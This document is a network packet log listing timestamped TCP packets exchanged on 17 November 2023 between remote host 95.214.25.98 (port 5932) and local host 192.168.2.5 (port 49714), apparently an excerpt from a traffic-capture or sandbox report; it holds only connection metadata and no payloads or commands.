Nov 17, 2023 06:23:08.559206963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.559250116 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.559257984 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.560097933 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.560121059 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.560156107 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.560930014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.560947895 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.560981035 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.561722994 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.561741114 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.561769962 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.562505960 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.562522888 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.562555075 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.563344002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.563360929 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.563394070 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.564125061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.564141989 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.564171076 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.564960957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.564979076 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.565011024 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.565757036 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.565773964 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.565804958 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.566685915 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.566704035 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.566740990 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.567372084 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.567389965 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.567471981 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.568167925 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.568185091 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.568216085 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.568955898 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.568974018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.569011927 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.569791079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.569808006 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.569844961 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.570759058 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.570807934 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.570816994 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.571353912 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.571374893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.571397066 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.572139978 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.572191954 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.572195053 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.572913885 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.572932005 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.572962999 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.573710918 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.573729992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.573761940 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.574425936 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.574445963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.574486971 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.575232983 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.575258017 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.575289011 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.575965881 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.575983047 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.576024055 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.576983929 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.577002048 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.577044010 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.577616930 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.577666998 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.577670097 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.578329086 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.578346968 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.578388929 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.579170942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.579188108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.579216957 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.579835892 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.579853058 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.579885006 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.580622911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.580661058 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.580671072 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.581368923 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.581387043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.581418991 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.582113028 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.582130909 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.582160950 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.582895041 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.582945108 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.582954884 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.583621025 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.583671093 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.583688021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.584355116 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.584372997 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.584404945 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.585117102 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.585135937 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.585163116 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.585889101 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.585927010 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.585951090 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.586685896 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.586704969 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.586739063 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.587348938 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.587387085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.587394953 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.588123083 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.588141918 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.588167906 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.588826895 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.588877916 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.588891029 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.589674950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.589693069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.589721918 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.590313911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.590331078 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.590356112 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.591084957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.591133118 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.591140032 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.591773987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.591820955 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.591840029 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.592494011 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.592510939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.592539072 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.593271017 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.593303919 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.593324900 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.593950987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.593996048 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.594006062 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.594755888 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.594773054 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.594801903 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.595439911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.595467091 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.595484972 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.596136093 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.596174002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.596216917 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.596878052 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.596895933 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.596945047 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.597537994 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.597560883 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.597589970 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.598288059 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.598306894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.598340034 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.599028111 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.599051952 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.599078894 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.599692106 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.599740028 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.599752903 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.600384951 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.600440025 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.600451946 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.601136923 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.601155996 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.601191998 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.601908922 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.601953030 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.601958036 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.602567911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.602593899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.602621078 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.603250027 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.603267908 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.603302002 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.603940010 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.603957891 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.603984118 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.604573965 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.604590893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.604618073 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.605320930 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.605340004 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.605367899 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.605998039 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.606049061 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.606049061 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.606751919 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.606770039 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.606801987 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.607532978 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.607551098 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.607579947 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.608127117 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.608145952 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.608175039 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.608800888 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.608819008 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.608844995 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.609492064 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.609509945 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.609539032 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.610183954 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.610203981 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.610229969 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.610882044 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.610917091 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.610934973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.610955954 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.611211061 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.611509085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.611526012 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.611555099 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.612204075 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.612230062 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.612250090 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.612817049 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.612843990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.612868071 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.613531113 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.613548994 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.613580942 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.614212990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.614229918 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.614258051 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.614924908 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.614942074 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.614974976 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.615587950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.615606070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.615637064 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.616183043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.616200924 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.616230011 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.616813898 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.616843939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.616868019 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.617559910 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.617578983 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.617605925 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.618196964 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.618216038 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.618246078 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.618887901 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.618906021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.618940115 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.619465113 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.619514942 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.619523048 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.620106936 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.620146990 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.620152950 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.620795965 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.620812893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.620845079 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.621411085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.621428013 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.621462107 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.622113943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.622131109 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.622165918 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.622772932 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.622790098 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.622811079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.622827053 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.622865915 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.623771906 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.623790979 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.623809099 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.623833895 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.624672890 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.624722004 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.624726057 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.624743938 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.624784946 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.625672102 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.625708103 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.625725031 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.625754118 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.626665115 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.626705885 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.626724005 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.626743078 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.626773119 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.627626896 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.627645016 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.627661943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.627686024 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.628566980 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.628585100 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.628602028 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.628613949 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.628643990 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.629555941 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.629574060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.629590988 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.629626989 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.630486012 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.630502939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.630522013 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.630536079 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.630564928 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.631428003 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.631444931 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.631462097 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.631484985 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.632349968 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.632366896 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.632385015 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.632399082 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.632447004 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.633322001 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.633378983 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.633395910 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.633424997 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.634278059 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.634294987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.634326935 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.634944916 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.634968996 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.634984970 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.635001898 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.635032892 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.635782957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.635827065 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.635844946 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.635874033 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.636733055 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.636750937 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.636791945 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.636811972 CET	5932	49714	95.214.25.98	192.168.2.5
